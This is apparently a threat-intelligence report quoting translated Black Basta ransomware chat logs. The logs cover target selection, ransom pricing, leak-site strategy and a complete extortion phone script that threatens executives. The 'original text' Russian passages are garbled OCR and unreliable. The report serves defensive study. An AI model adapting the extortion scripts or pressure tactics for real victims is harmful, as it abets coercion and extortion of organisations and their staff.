repmaHuern npobaemeol. A) OTCyTCTBME HEMELLKOTO
3BOHMAbI B) uacoBo nosc

2024-05-29 07:51:21, @nickolas:talks.icu, saBal
noAymato, eCv eCcTb HEMELL, MOXHO MPUKMHYTb Yero
-HMbyab

2024-05-29 07:51:26, @nickolas:talks.icu, y HemLeB
cnabxxe 3awmra’?

2024-05-29 07:51:40,
@usernamegg:matrix.bestflowers247.online, aa, y
€BPOnbl MeHbLLUe 3aLuTa

2024-05-29 07:51:45,
@usernamegg:matrix.bestflowers247.online, HamHoro
2024-05-29 07:51:48,
@usernamegg:matrix.bestflowers247.online, nerue c
HUMK paboTaTb

2024-05-29 07:51:52, @nickolas:talks.icu, npocTo toca
nm3gel, HaTblkaHa (

2024-05-29 07:52:04,
@usernamegg:matrix.bestflowers247.online,
WUMEHHO...

2024-05-29 07:52:24,
@usernamegg:matrix.bestflowers247.online, He Hago
YCNIOXHATb XW3Hb , Y HaC eBpornmna oTAaBaja TONoBble
BbIN/AATHI

2024-05-29 07:53:10,
@usernamegg:matrix.bestflowers247.online, Ho noka
rnaBHOE CXeMy He C/IoMaWi , Aenali BCe B TOM Xe
HanpaBieHUN.

2024-05-29 07:53:25, @nickolas:talks.icu, mbi
AOKPYyYMBaeM NOCTOAHHO YTO-TO.
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Conversation on Regional Targeting of Attacks #2

Translated

2024-03-04 19:03:08,
@usernameugway:matrix.bestflowers247.online,
https://www.zoominfo.com/c/<Masked: Organization
Name>

2024-03-04 19:28:31,
@usernamegg:matrix.bestflowers247.online, france
2024-03-04 19:28:53,
@usernamegg:matrix.bestflowers247.online, we don't
take such into work 2024-03-04 19:28:58,
@usernamegg:matrix.bestflowers247.online, france
doesn't pay

Original Text

2024-03-04 19:03:08,
@usernameugway:matrix.bestflowers247.online,
https://www.zoominfo.com/c/<Masked: Organization
Name>

2024-03-04 19:28:31,
@usernamegg:matrix.bestflowers247.online, dppaHuus
2024-03-04 19:28:53,
@usernamegg:matrix.bestflowers247.online, mbl
Takoe He bepem B paboty

2024-03-04 19:28:58,
@usernamegg:matrix.bestflowers247.online, dppaHuus
He naaTuT

Black Basta demonstrates country-specific knowledge of attack feasibility and ransom payment tendencies based
on experience. The group identifies America and Germany as having high payment tendencies, while
acknowledging increased attack difficulty - America due to robust defenses and Germany due to language

barriers.

The group perceives European regions, including Germany, as generally having weaker defenses, yet recognizes

France as strongly resistant to ransom payments.

Analysis of organizations posted on leak sites reveals high proportions from America and Germany, with notably

fewer French victims. This pattern confirms Black Basta's prioritization of targets with high payment probability.

(Reference) Country Breakdown of Victim Organizations Listed on Black Basta’'s Leak Site

Breakdown of Victim Organizations by Country*

Others
10.6%

* CIG proprietary data
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Collecting Organizational Information via ZoomInfo and Other Sources

Translated

2023-09-27 15:50:56,
@usernameugway:matrix.bestflowers247.online, 8.8B
/ <Masked: Domain Name> / USA /
https://www.zoominfo.com/c/ <Masked:
Organization Name>

2023-09-27 15:50:59,
@usernameugway:matrix.bestflowers247.online,
there are two machines there

2023-09-27 15:51:01,
@usernameugway:matrix.bestflowers247.online, one
of them is in the domain

2023-09-27 15:51:09,
@usernameugway:matrix.bestflowers247.online,
please take a look

2023-09-27 15:51:21,
@usernameugway:matrix.bestflowers247.online,
fresh

2023-09-27 16:14:42,
@usernameugway:matrix.bestflowers247.online,
420M / <Masked: Domain Name> / USA /
https://www.zoominfo.com/c/ <Masked:
Organization Name>

2023-09-27 16:15:07,
@usernameugway:matrix.bestflowers247.online, in
the domain

2023-09-27 16:30:21,
@usernamegg:matrix.bestflowers247.online, will log
in now

2023-09-27 16:35:09,
@usernameugway:matrix.bestflowers247.online,
another one came before your login we didn't have
time to check

2023-09-27 16:36:38,
@usernamegg:matrix.bestflowers247.online, called
him too

2023-09-27 16:37:07,
@usernamegg:matrix.bestflowers247.online, >
<@usernameugway:matrix.bestflowers247.online>
420M / <Masked: Domain Name> / USA /
https://www.zoominfo.com/c/ <Masked:
Organization Name> this one is 4 minutes offline
2023-09-27 16:37:22,
@usernameugway:matrix.bestflowers247.online,
those that are online have responded - everything is
normal?

Original Text

2023-09-27 15:50:56,
@usernameugway:matrix.bestflowers247.online, 8.8B /
<Masked: Domain Name> / USA /
https://www.zoominfo.com/c/ <Masked: Organization
Name>

2023-09-27 15:50:59,
@usernameugway:matrix.bestflowers247.online, Tam
ABe Tauku

2023-09-27 15:51:01,
@usernameugway:matrix.bestflowers247.online, oaHa
M3 HUX B JOMEHe

2023-09-27 15:51:09,
@usernameugway:matrix.bestflowers247.online,
rNAHbTE NAN3

2023-09-27 15:51:21,
@usernameugway:matrix.bestflowers247.online,
cBexee

2023-09-27 16:14:42,
@usernameugway:matrix.bestflowers247.online, 420M
/ <Masked: Domain Name> / USA /
https://www.zoominfo.com/c/ <Masked: Organization
Name>

2023-09-27 16:15:07,
@usernameugway:matrix.bestflowers247.online, B
AOMeHe

2023-09-27 16:30:21,
@usernamegg:matrix.bestflowers247.online, ceinuac
3anay

2023-09-27 16:35:09,
@usernameugway:matrix.bestflowers247.online, Tam
eLle OAVH npuaeTen nepes TBUOM BXOAOM He yCrenu
YeKHYTb

2023-09-27 16:36:38,
@usernamegg:matrix.bestflowers247.online, ero Toxe
nosgan

2023-09-27 16:37:07,
@usernamegg:matrix.bestflowers247.online, >
<@usernameugway:matrix.bestflowers247.online>
420M / <Masked: Domain Name> / USA /
https://www.zoominfo.com/c/ <Masked: Organization
Name> 310T 4 MUHYTbI 0bd

2023-09-27 16:37:22,
@usernameugway:matrix.bestflowers247.online, Te uto
OHMAaNH OTOUANCH - BCE HOPM?
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Members share corporate information using Zoomlnfo, reporting revenue figures alongside compromised
machine status. The comment 'this has been offline for 4 minutes' reveals real-time monitoring of infected

endpoint connectivity. The process suggests selection of encryption targets from multiple compromised

companies based on revenue scale and domain membership criteria.

Discussions on Ransom Demand Amounts

Discussion of Ransom Amounts

Translated

2024-03-02 17:46:53,
@tinker:matrix.bestflowers247.online, Hey, | spelled
everything out for them

2024-03-02 17:50:15,
@tinker:matrix.bestflowers247.online, | need your
pricing policy for <Masked: Domain Name> -
they're offering $400k, and overall, judging by their
finances, that's probably their ceiling. Don't forget
that annual income often includes contracts signed
that year for their full duration. So if they signed a $1
million supply deal with company A for five years, that
$1 million will count toward this year's income.
Therefore, big income doesn't always equal big
money. Realistically, for a company of their size, a
$500k investment is likely their limit, even with all
dept fundings considered.

2024-03-02 20:03:17,
@usernamegg:matrix.bestflowers247.online, Let's
push them to the max then

2024-03-03 15:11:25,
@tinker:matrix.bestflowers247.online, 500?
2024-03-03 15:11:30,
@tinker:matrix.bestflowers247.online, Or even higher?
2024-03-04 13:38:51,
@tinker:matrix.bestflowers247.online, <Masked:
Organization Name> - | need your pricing
adjustment for them too

2024-03-04 13:39:31,
@tinker:matrix.bestflowers247.online, <Masked:
Organization Name> - for these, it's pointless |
think. I'll just tell them if you can't pay, that's your
problem

2024-03-04 13:39:58,
@tinker:matrix.bestflowers247.online, Unless you
want to squeeze something out of them
2024-03-04 14:01:01,
@usernamegg:matrix.bestflowers247.online, Yeah

Original Text

2024-03-02 17:46:53,
@tinker:matrix.bestflowers247.online, Hey, | spelled
everything out for them

2024-03-02 17:50:15,
@tinker:matrix.bestflowers247.online, | need your
pricing policy for <Masked: Domain Name> -
they're offering $400k, and overall, judging by their
finances, that's probably their ceiling. Don't forget
that annual income often includes contracts signed
that year for their full duration. So if they signed a $1
million supply deal with company A for five years, that
$1 million will count toward this year’s income.
Therefore, big income doesn't always equal big
money. Realistically, for a company of their size, a
$500k investment is likely their limit, even with all
dept fundings considered.

2024-03-02 20:03:17,
@usernamegg:matrix.bestflowers247.online, Let's
push them to the max then

2024-03-03 15:11:25,
@tinker:matrix.bestflowers247.online, 500?
2024-03-03 15:11:30,
@tinker:matrix.bestflowers247.online, Or even higher?
2024-03-04 13:38:51,
@tinker:matrix.bestflowers247.online, <Masked:
Organization Name> - | need your pricing
adjustment for them too

2024-03-04 13:39:31,
@tinker:matrix.bestflowers247.online, <Masked:
Organization Name> - for these, it's pointless |
think. I'll just tell them if you can’t pay, that's your
problem

2024-03-04 13:39:58,
@tinker:matrix.bestflowers247.online, Unless you
want to squeeze something out of them
2024-03-04 14:01:01,
@usernamegg:matrix.bestflowers247.online, Yeah
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2024-03-04 14:01:47,
@usernamegg:matrix.bestflowers247.online,
<Masked: Organization Name> -
$380k

2024-03-04 14:02:23,
@usernamegg:matrix.bestflowers247.online, | think

they want to pay

we should push them higher

2024-03-04 14:18:08,
@tinker:matrix.bestflowers247.online, For <Masked:
Organization Name>, how high?

2024-03-04 14:18:15,
@tinker:matrix.bestflowers247.online, What do you
think? 5007

2024-03-04 14:18:16,
@tinker:matrix.bestflowers247.online, ?

2024-03-04 14:18:22,
@tinker:matrix.bestflowers247.online, Same question
for anthemproperties

2024-03-04 14:18:59,
@usernamegg:matrix.bestflowers247.online, Okay
let's go for 500

2024-03-04 14:19:02,
@usernamegg:matrix.bestflowers247.online, Let's take
it

2024-03-04 14:01:47,
@usernamegg:matrix.bestflowers247.online,
<Masked: Organization Name> -
$380k

2024-03-04 14:02:23,
@usernamegg:matrix.bestflowers247.onlineg, | think

they want to pay

we should push them higher

2024-03-04 14:18:08,
@tinker:matrix.bestflowers247.online, For <Masked:
Organization Name> , how high?

2024-03-04 14:18:15,
@tinker:matrix.bestflowers247.online, What do you
think? 5007

2024-03-04 14:18:16,
@tinker:matrix.bestflowers247.online, ?

2024-03-04 14:18:22,
@tinker:matrix.bestflowers247.online, Same question
for anthemproperties

2024-03-04 14:18:59,
@usernamegg:matrix.bestflowers247.online, Okay
let's go for 500

2024-03-04 14:19:02,
@usernamegg:matrix.bestflowers247.online, Let's take
it

Black Basta conducted detailed analysis of victim organizations' financial assets, sharing among members when

offered amounts reached organizational budget limits. tinker noted that apparent revenue does not necessarily

reflect actual financial capacity, revealing sophisticated negotiation skills within the group. These exchanges

provide valuable insights into attacker communications during ransom negotiations.
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Exchanges on Ransom Negotiations

Ransom Negotiations through Comparison with Financial Data

Translated

2024-01-03 21:28:57,
@usernamegg:matrix.bestflowers247.online, you go
and analyze their financial data

2024-01-03 21:29:05,
@usernamegg:matrix.bestflowers247.online, and
throw the documents directly into the chat to them
2024-01-03 21:29:12,
@usernamegg:matrix.bestflowers247.online, like here
are your reports

2024-01-03 21:29:19,
@usernamegg:matrix.bestflowers247.online, you can
afford to pay us

2024-01-03 21:29:26,
@usernamegg:matrix.bestflowers247.online,
everything should be argued and clear

2024-01-03 21:29:57,
@usernamegg:matrix.bestflowers247.online,
2,524,000 will settle this deal

Original Text

2024-01-03 21:28:57,
@usernamegg:matrix.bestflowers247.online, naews n
aHanunsmpyellb GUH AaTy y HUX

2024-01-03 21:29:05,
@usernamegg:matrix.bestflowers247.online, n
Kngaewb NPAMO B YaT AOKYMEHTbI UM

2024-01-03 21:29:12,
@usernamegg:matrix.bestflowers247.online, Tvna Bot
oTyebl BaLmn

2024-01-03 21:29:19,
@usernamegg:matrix.bestflowers247.online, Bbl
MO>eTe NO3BO/IUTb MAATUTb HaM

2024-01-03 21:29:26,
@usernamegg:matrix.bestflowers247.online, Bce
apryMeHTVPOBAHO M YeTKO AOJKHO 6biTb

2024-01-03 21:29:57,
@usernamegg:matrix.bestflowers247.online,
2,524,000 will settle this deal

The conversation explains methods of pre-analyzing target companies' financial data and presenting findings as

direct negotiation leverage. The strategy involves comparing actual financial data during ransom negotiations,

establishing psychological advantage by presenting evidence of payment capacity, and facilitating deal closure

through specific amount proposals.

Stance on Maximizing Ransom Extraction

Translated

2024-02-26 13:49:36,
@usernamegg:matrix.bestflowers247.online, unwind
them

2024-02-26 13:49:44,
@usernamegg:matrix.bestflowers247.online, we need
to take maximum from them

2024-02-26 13:49:50,
@usernamegg:matrix.bestflowers247.online, and this
fucking negotiator

2024-02-26 13:49:56,
@usernamegg:matrix.bestflowers247.online, needs to
be broken

2024-02-26 13:50:04,
@usernamegg:matrix.bestflowers247.online, and that
they don't have cyber insurance

Original Text

2024-02-26 13:49:36,
@usernamegg:matrix.bestflowers247.online,
pa3maTbiBai Nx

2024-02-26 13:49:44,
@usernamegg:matrix.bestflowers247.online, Tam Hago
C HUX 6paTb MO MaKCMMOMY

2024-02-26 13:49:50,
@usernamegg:matrix.bestflowers247.online, a atoro
ybka neprosopLymka

2024-02-26 13:49:56,
@usernamegg:matrix.bestflowers247.online, Hago
pa3ebatb

2024-02-26 13:50:04,
@usernamegg:matrix.bestflowers247.online, n uto y
HMX HET KnbepcTpaxoBKu
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2024-02-26 13:50:13,
@usernamegg:matrix.bestflowers247.online, we need
to exploit this they are fuckers

2024-02-26 13:50:18,
@usernamegg:matrix.bestflowers247.online, and this
is their experience

2024-02-26 13:50:32,
@usernamegg:matrix.bestflowers247.online, after this
situation they will definitely get it)

2024-02-26 13:50:13,
@usernamegg:matrix.bestflowers247.online, Hago
1CKa3aTb 3TO OHU yebKM

2024-02-26 13:50:18,
@usernamegg:matrix.bestflowers247.online, n 310 nx
onbIT

2024-02-26 13:50:32,
@usernamegg:matrix.bestflowers247.online, nocne
3TOM CUTyaLMM OHM 06S3aTENbHO €€ CAeNatoT )

gg advocates extracting 'the maximum possible amount' from the victim organization, demonstrating strong
financial motivation. He states negotiators 'need to be completely crushed' and ridicules the victim's lack of
cyber insurance as ‘foolish.' References to this incident as the victim's ‘experience’ reveal attitudes of superiority

and contempt toward targets.
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|7.2 Group Branding

Black Basta selected targets based on cost-benefit analysis for ransomware attacks. gg leveraged extensive
ransomware experience to concentrate resources on large-scale cases, employing strategies for efficient ransom
collection. This selective targeting reveals prioritization of high revenue while avoiding public attention.

The group demonstrated particular attention to leak site content, believing in carefully selecting information that
would leave strong impressions on viewers.

Group Branding Discussions

Philosophy of Spending Time Only on Large-Scale Cases

Translated Original Text

2024-04-17 11:07:21, 2024-04-17 11:07:21,
@usernamegg:matrix.bestflowers247.online, small @usernamegg:matrix.bestflowers247.online,

stuff is not particularly interesting MenouyeBka He ocobo nHTepecyeT

2024-04-17 11:07:33, 2024-04-17 11:07:33,
@usernamegg:matrix.bestflowers247.online, we @usernamegg:matrix.bestflowers247.online, y Hac
already have experience that we need to spend our y>Ke OMbIT TaKOW UYTO HY>XXHO TPaTUTb CBOE BPEMS
time only on large resources TOJIbKO Ha KPYMHbIe pecypchbl

The discussion outlines a strategy focusing on large-scale targets over smaller ones. The explicit policy stating
‘'no interest in minor cases' reflects experience-based optimization of time investment versus profit,
demonstrating an efficiency-focused approach to resource allocation.
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Viewpoint Emphasizing the Effectiveness of Target Selection

Translated

2024-05-04 08:33:15,
@usernamegg:matrix.bestflowers247.online,
https://www.infosecurity-
magazine.com/news/lockbit-black-basta-play/
2024-05-04 08:34:41, @nickolas:talks.icu, >
<@usernamegg:matrix.bestflowers247.online>
https://www.infosecurity-
magazine.com/news/lockbit-black-basta-play/ Here
we are talking primarily about the volume of posted
targets, but this is not equal to the total amount of
payments in monetary equivalent :-)

2024-05-04 08:35:21, @nickolas:talks.icu, | know
perfectly well what target volume is, we are all familiar
with this from the days of mass bots)

2024-05-04 08:37:17,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> Here we are talking primarily
about the volume of posted targets, but this is not
equal to the total amount of payments in monetary
equivalent :-) well that's great, | don't need them to
write how much we earned at all)

2024-05-04 08:37:21, @nickolas:talks.icu, Whether it's
100 targets posted by lockbit with average revenue of
50m and diverse geography, and it will be 20 targets
posted with high revenue and specific geography. In
terms of the scale of postings there will be a big
difference, but in terms of payments, most likely these
20 targets will bring much more money :)
2024-05-04 08:37:30,
@usernamegg:matrix.bestflowers247.online, | start
sleeping poorly after such articles

2024-05-04 08:38:18, @nickolas:talks.icu, Absolutely
right, it's better not to post many, but to do it
qualitatively with high-profit targets.

2024-05-04 08:38:33, @nickolas:talks.icu, Then this
will attract less attention and more money

Original Text

2024-05-04 08:33:15,
@usernamegg:matrix.bestflowers247.online,
https://www.infosecurity-
magazine.com/news/lockbit-black-basta-play/
2024-05-04 08:34:41, @nickolas:talks.icu, >
<@usernamegg:matrix.bestflowers247.online>
https://www.infosecurity-
magazine.com/news/lockbit-black-basta-play/ Tyt mbl
rOBOPVM B MepPBYO ouepesb 06 obbeme
NPOCTaBNEHHbIX LiesIel, HO 3TO He PaBHO CyMMapHoe
KONIMYECTBO BbIMNAAT B AEHEXXHOM 3KBUBAJIEHTE :-)
2024-05-04 08:35:21, @nickolas:talks.icu, A
NpeKpacHO 3Hato, YTO Takoe 06BbeM Lienen, Mbl BCe C
3TUM 3HaKOMbI CO BPEMEH MacCoBbIX 60TOB )
2024-05-04 08:37:17,
@usernamegg:matrix.bestflowers247.online, >
<@nickolas:talks.icu> TyT Mbl rOBOpUM B NnepByto
ouepesb 06 06bemMe NPOCTAaBAEHHbIX Lieaer, HO 3TO
He paBHO CyMMapHOe KOJIIMYECTBO BbIMNAaT B
AEHEXHOM 3KBMBA/EHTE :-) AaK 3TO NPEKPaCcHO, MHe
BOOOLLE He HaZo UTO Bbl OHW NMUCaNN CKONBKO Mbl
3apaboTanm)

2024-05-04 08:37:21, @nickolas:talks.icu, byab T0
npoctasaeHHO 100 uenen NOKOUTOM CO CPEfHUM
peBeHto 50M 1 pa3HoLlepcTHOW reorpduen, n byaert
3TO NpocTaBneHHo 20 Lener C BbICOKMM PEaeHto u
OAHO3Ha4yHHOW reoprpadueit. B macwitabax obbvema
NPOCTaHOBOK ByAeT cubHas pa3HuLLa, a BOT Mo
BbiM1aTaM, BeposiTHee Bcero 371 20 uener Ha MHOro
6osiblLe NPUHECYT AEHET )

2024-05-04 08:37:30,
@usernamegg:matrix.bestflowers247.online, s notom
nocsae Takux ctaTer nioxo cnaTb HaunHaro
2024-05-04 08:38:18, @nickolas:talks.icu, AbconroTHO
BEPHO, JlyyLle CTaBUTb HE MHOTO, HO AenaTb 3TO
KauyeCTBEHHO C BbICOKOMPOPUTHBIMU LIENSMMU.
2024-05-04 08:38:33, @nickolas:talks.icu, Toraa 3to
ByZAeT NnpuBAeKaTb MeHbLUE BHYMaHUA 1 6onblue
aeHer

The strategy pursues higher ransom payments per case rather than indiscriminately increasing attack targets.

This quality-over-quantity approach also reduces public attention, as mentioned in the discussion.
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Argument for Careful Selection of Information Posted on Leak Sites

Translated

2023-12-04 12:04:55,
@usernamegg:matrix.bestflowers247.online, better
not to post crappy companies

2023-12-04 12:05:00,
@usernamegg:matrix.bestflowers247.online, the blog
should be strong and scary

2023-12-04 12:05:26,
@u123:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> if
there's little data or it's crap the rest is normal info
2023-12-04 12:05:35,
@u123:matrix.bestflowers247.online, we don't have
companies like yours yet

2023-12-04 12:05:56,
@usernamegg:matrix.bestflowers247.online, there
should be a reaction when they go there "What a
fucking tiger these guys are?"

2023-12-04 12:06:08,
@usernamegg:matrix.bestflowers247.online,
conclusion, better to negotiate or it's fucked
2023-12-04 12:06:09,
@u123:matrix.bestflowers247.online, yes | understand

Original Text

2023-12-04 12:04:55,
@usernamegg:matrix.bestflowers247.online, wnak
KOHTOPbI Jlyylle He BbIKJaAblBaThb

2023-12-04 12:05:00,
@usernamegg:matrix.bestflowers247.online, 610r
BOJIKEH ObITb CUABHBIA U CTPALLHBIN

2023-12-04 12:05:26,
@u123:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> ecan
AaTbl Maso MAN OHa XepoBas Mo OCTajbHbIM HOPM
nHoa

2023-12-04 12:05:35,
@u123:matrix.bestflowers247.online, Taknx KOHTOP
KaK y Tebs y Hac noka Het

2023-12-04 12:05:56,
@usernamegg:matrix.bestflowers247.online, gonxHa
ObITb peakLms Korga oHu Tyaa 3axoaat "What a
fucking tiger these guys are?"

2023-12-04 12:06:08,
@usernamegg:matrix.bestflowers247.online, BbiBOA, ,
Nydlle AOroBpUTCs a To Nu3zeL,

2023-12-04 12:06:09,
@u123:matrix.bestflowers247.online, Aa 1 NnoHKMato

Black Basta carefully curated information posted on leak sites. The conversations suggest this strategy aimed to

create strong impressions on leak site viewers by publishing sensitive corporate information, while

simultaneously pressuring victim companies to facilitate ransom extraction.
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|7.3 Sharing Extortion Methods

Black Basta's chat logs highlight the structural disadvantage where attackers engage in ransom negotiations after

meticulous preparation, while victim organizations must negotiate under business disruption caused by file

encryption.

Avoiding such scenarios requires comprehensive ransomware defenses during normal operations, establishing

threat preparedness as a critical element of business continuity.

Methods for Contacting Victim Organizations

Sharing of Threatening Messages Directed at Victim Organizations

Translated

2024-04-11 20:35:46,
@tinker:matrix.bestflowers247.online, here's the script
for both companies Hello, my name is Eric, | am
calling from the BlackBasta group regarding the
recent cybersecurity incident taking place in your
company. Can you connect me with your
management. - If they connect Our name is
BlackBasta Syndicate, and we are the largest, most
advanced, and most prolific organized group
currently existing. We are the ultimate cyber
tradecraft with a credential record of taking down the
most advanced, high-profile, and defended
companies one can ever imagine. You can Google us
later; what you need to know now is that we are
business people just like you. We are not some
hacktivists hacking you to "fight corporate greed" and
we are not Chinese hackers targeting you as a US
company, and we are not some sadistic cybervandals
who want to inflict pain on you and your employees
for the sake of pleasure. No, we are a business service
which has a business deal to offer. We promise we
will make it in the most professional and appropriate
manner possible, as the BlackBasta brand = courtesy.
We have your data and encrypted your files, but in
less than an hour, we can put things back on track: if
you pay for our recovery services, you get a
decryptor, the data will be deleted from all of our
systems and returned to you, and we will give you a
security report explaining how we got you. This
encryption hits your network and is stopping you
from operating properly. We respect what your you
are ding as a business, and we respect you - both
employees and owners. You are not some bank or a

Original Text

2024-04-11 20:35:46,
@tinker:matrix.bestflowers247.online, BoT ckpunT Ha
o6e dpupmbl Hello, my name is Eric, | am calling from
the BlackBasta group regarding the recent
cybersecurity incident taking place in your company.
Can you connect me with your management. - Ecan
coeguHstot Our name is BlackBasta Syndicate, and we
are the largest, most advanced, and most prolific
organized group currently existing. We are the
ultimate cyber tradecraft with a credential record of
taking down the most advanced, high-profile, and
defended companies one can ever imagine. You can
Google us later; what you need to know now is that
we are business people just like you. We are not some
hacktivists hacking you to "fight corporate greed" and
we are not Chinese hackers targeting you as a US
company, and we are not some sadistic cybervandals
who want to inflict pain on you and your employees
for the sake of pleasure. No, we are a business service
which has a business deal to offer. We promise we
will make it in the most professional and appropriate
manner possible, as the BlackBasta brand = courtesy.
We have your data and encrypted your files, but in
less than an hour, we can put things back on track: if
you pay for our recovery services, you get a
decryptor, the data will be deleted from all of our
systems and returned to you, and we will give you a
security report explaining how we got you. This
encryption hits your network and is stopping you
from operating properly. We respect what your you
are ding as a business, and we respect you - both
employees and owners. You are not some bank or a
law firm that sucks blood and life out of the common
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law firm that sucks blood and life out of the common
folk. Instead you provide jobs for people. The sooner
you get back on track, the better it is. WE want to
resolve this ASAP. YOU want to resolve this ASAP. We
have been in trying to get in contact with your team,
but | need to talk to the management directly. This is
urgent, and is about the critical data that we took. Do
you know that there is a data breach taking place? - If
yes. If we publish your data, we will not only expose
all the ongoing customer and business operations
which you are obligated to keep private, but most
likely get you under a class action law suit yourself.
This is why it is important for me to talk to you
directly, as we hope that the management will be able
to have enough proficiency to address these risks. - If
they don't connect to management, demand IT or
finance. As in any scenario, always ask for or record, if
they introduce themselves, the name of the person on
the other side. - If they prove they can't connect Your
management is the best suit to handle this. If you are
not connecting me to them, | will be calling them
directly. We have your finance director home and
personal numbers. We will be calling him and other
managers until they respond, and | will make sure to
tell them your name and that you were the one who
did not connect me to them in a civilized formal way.
- If they say they don't know about the hack. We have
your data and are ready to publish it. All of it -
financial documents, client data, ongoing cases. We
began a proper conversation in the designated chat,
but you lead this to nowhere. | want to reiterate that
we have enough files on your to force the firm to
dissolve in case we publish the data. Now | need to
convey to you the following seven points. 1. Go back
to the chat and begin a proper conversation with us.
2. Do NOT tell us that you can not pay. We saw your
financial records. You CAN pay. You will need to make
sacrifices, but it is more than possible. You know this
as you handle the records. 3. Stop taking this
situation as a joke and delegate it to a hired
negotiator - bring yourself or other partners to the
chat. This chat is a simple Firefox-based messenger,
The only skill you need to use it, is English basic
literacy. There is no reason some random hired
person is doing the talks for you. 4. If you keep
ignoring us, we will be calling you and your
colleagues directly. We will be calling the supreme
council. We will be using personal data against you.

folk. Instead you provide jobs for people. The sooner
you get back on track, the better it is. WE want to
resolve this ASAP. YOU want to resolve this ASAP. We
have been in trying to get in contact with your team,
but | need to talk to the management directly. This is
urgent, and is about the critical data that we took. Do
you know that there is a data breach taking place? -
Ecan pa. If we publish your data, we will not only
expose all the ongoing customer and business
operations which you are obligated to keep private,
but most likely get you under a class action law suit
yourself. This is why it is important for me to talk to
you directly, as we hope that the management will be
able to have enough proficiency to address these
risks. - ECM He COeAMHAIOT C MEHAXKMEHTOM,
TpebynTte IT nan duHaHcol. Kak 1 B nrobom cueHapuu,
06A3aTeNbHO, CMPOCUTY UAW 3anULLNTY, eCan camu
NPeACTaBATCA MA YeNOBeKa Ha APYron CTOPOHe. -
Ecam gokasbiBatoT, UTO COeAMHUTL He MoryT Your
management is the best suit to handle this. If you are
not connecting me to them, | will be calling them
directly. We have your finance director home and
personal numbers. We will be calling him and other
managers until they respond, and | will make sure to
tell them your name and that you were the one who
did not connect me to them in a civilized formal way.
- Ecnv roBopuT, uto He 3Haet o B3soMe. We have your
data and are ready to publish it. All of it - financial
documents, client data, ongoing cases. We began a
proper conversation in the designated chat, but you
lead this to nowhere. | want to reiterate that we have
enough files on your to force the firm to dissolve in
case we publish the data. Now | need to convey to
you the following seven points. 1. Go back to the chat
and begin a proper conversation with us. 2. Do NOT
tell us that you can not pay. We saw your financial
records. You CAN pay. You will need to make
sacrifices, but it is more than possible. You know this
as you handle the records. 3. Stop taking this
situation as a joke and delegate it to a hired
negotiator - bring yourself or other partners to the
chat. This chat is a simple Firefox-based messenger,
The only skill you need to use it, is English basic
literacy. There is no reason some random hired
person is doing the talks for you. 4. If you keep
ignoring us, we will be calling you and your
colleagues directly. We will be calling the supreme
council. We will be using personal data against you.
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This is not a threat, my management just asked me to
inform you on the course of action. 5. We have other
means of pressure. Ask your hired negotiators, or do
it yourself. 6. There is no way you can shield yourself
out of this - you are already it it. Time to recognize
this. 7. My management says that they are not trying
to threaten or frighten you. This applied pressure is
only a result of you - not you specifically, but as a
company - trying to abstain from this situation and
bringing a hired person to the negotiations table.
They want an honest and equal discussion based on
mutual respect. This is why when you disrespect us
and downgrade the level of discussion, we will do the
same. Do you really want me to keep digging and
getting more operational plans on how to monetize
your data? You can enact some emergency funding to
raise this. We are waiting you in the chat.

This is not a threat, my management just asked me to
inform you on the course of action. 5. We have other
means of pressure. Ask your hired negotiators, or do
it yourself. 6. There is no way you can shield yourself
out of this - you are already it it. Time to recognize
this. 7. My management says that they are not trying
to threaten or frighten you. This applied pressure is
only a result of you - not you specifically, but as a
company - trying to abstain from this situation and
bringing a hired person to the negotiations table.
They want an honest and equal discussion based on
mutual respect. This is why when you disrespect us
and downgrade the level of discussion, we will do the
same. Do you really want me to keep digging and
getting more operational plans on how to monetize
your data? You can enact some emergency funding to
raise this. We are waiting you in the chat.

Black Basta prepared detailed talk scripts for contacting victim organizations. The scripts skillfully alternate
between empathy (understanding the negotiator's position) and threats (corporate collapse through data
exposure), forcing direct dialogue with executives while excluding external negotiators to maximize psychological
pressure.
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Discussions on Extortion Methods

Extortion Threat to Share Stolen Data with Competitors and Their Customers

Translated

2024-03-18 10:38:31,
@usernamegg:matrix.bestflowers247.online, >
<@usernameugway:matrix.bestflowers247.online>
good afternoon, we have at our disposal numerous
contracts and cases that your firm handled. about
40gb of data in total. > you should transfer 1 btc to
our account within 72 hours or we will publish them
on our site, and also send them to your clients and
competitors. > > as confirmation of our words | am
attaching several photos and files. as an option to try
blackmailing without lock

2024-03-18 10:38:34,
@usernamegg:matrix.bestflowers247.online, 1btc is
too little

2024-03-18 10:43:54,
@usernameugway:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> 1btc is
too little well yeah, how much to ask? I'll still try to
get access to the vpn - but who knows such a fuss has
been raised there

2024-03-18 10:44:08,
@usernameugway:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> there's
a test vpn accepted, now let's look for more
2024-03-18 11:00:07,
@usernamegg:matrix.bestflowers247.online, well how
much is their revenue?

2024-03-18 11:00:49,
@usernameugway:matrix.bestflowers247.online, 70kk
2024-03-19 07:46:38,
@usernameugway:matrix.bestflowers247.online, hello
2024-03-19 07:46:50,
@usernameugway:matrix.bestflowers247.online, in
general the problem is if you don't encrypt data
2024-03-19 07:46:54,
@usernameugway:matrix.bestflowers247.online, this
draws attention to yourself

2024-03-19 07:47:16,
@usernameugway:matrix.bestflowers247.online, I'l
wait today too, but there's no reaction yet

Original Text

2024-03-18 10:38:31,
@usernamegg:matrix.bestflowers247.online, >
<@usernameugway:matrix.bestflowers247.online>
A06pbIN AeHb, B HALLEM Pacnops>KeHU MHOXECTBO
KOHTPaKTOB 1 fjeN KOTopble Bena Balla Gpupma. BCcero
okoo 40r6 gaHHbIX. > BaM CefyeT NepeBecTn Ha
Haw cyeT 1 btc B TeyeHWM 72 4acoB WU Mbl
onybanKyem 1x Ha Hallem canTe, a Takxxe pasoLuaem
BaLUMM KJMEHTaM W KOHKypeHTaMm. > > B
NOATBEP>XKAEHUN HALLMX CNOB NPUKAAZAbIBatO
Heckobko GoTorpaduii 1 Gpanno.. Kak BapuaHT
nonpobosatb 6e3 sloKa NOLIaHTaXXNPOBaTb
2024-03-18 10:38:34,
@usernamegg:matrix.bestflowers247.online, 1btc
MasoBaTo

2024-03-18 10:43:54,
@usernameugway:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> 1btc
MasioBaToO HyAa, CKOJNbKO MPOCUTL? A eLle Nnonpobyto
